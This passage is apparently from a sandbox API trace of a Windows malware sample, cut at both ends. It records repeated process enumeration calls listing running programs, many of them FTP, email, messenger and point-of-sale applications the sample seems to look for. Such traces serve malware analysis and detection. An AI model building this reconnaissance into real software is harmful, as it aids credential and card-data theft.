dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.899] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.902] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.904] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.941] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.943] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0239.946] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0239.948] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0239.951] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0239.954] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0239.956] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0239.959] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0239.961] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0239.964] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0239.966] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0239.968] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0239.970] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0239.973] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0239.977] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0239.979] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0239.982] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0239.984] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0239.987] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0239.989] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0239.992] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0239.995] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0239.998] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0240.001] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0240.003] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0240.006] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0240.009] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0240.012] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0240.017] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0240.021] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0240.023] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0240.026] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0240.029] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0240.032] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0240.035] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0240.038] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0240.042] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0240.054] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0240.059] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0240.094] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0240.097] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0240.100] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0240.102] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0240.105] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0240.108] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0240.110] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0240.113] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0240.116] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0240.118] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0240.121] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0240.123] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0240.126] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0240.129] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0240.131] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0240.134] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0240.137] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0240.139] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0240.143] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0240.151] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0240.153] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0240.157] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0240.160] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0240.163] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0240.165] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0240.168] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0240.170] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0240.173] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0240.175] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.178] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0240.181] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.184] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0240.186] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0240.188] CloseHandle (hObject=0x21ec) returned 1 [0240.188] Sleep (dwMilliseconds=0x64) [0240.200] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0240.238] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.272] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.274] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.277] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.279] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.281] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.283] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.286] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, 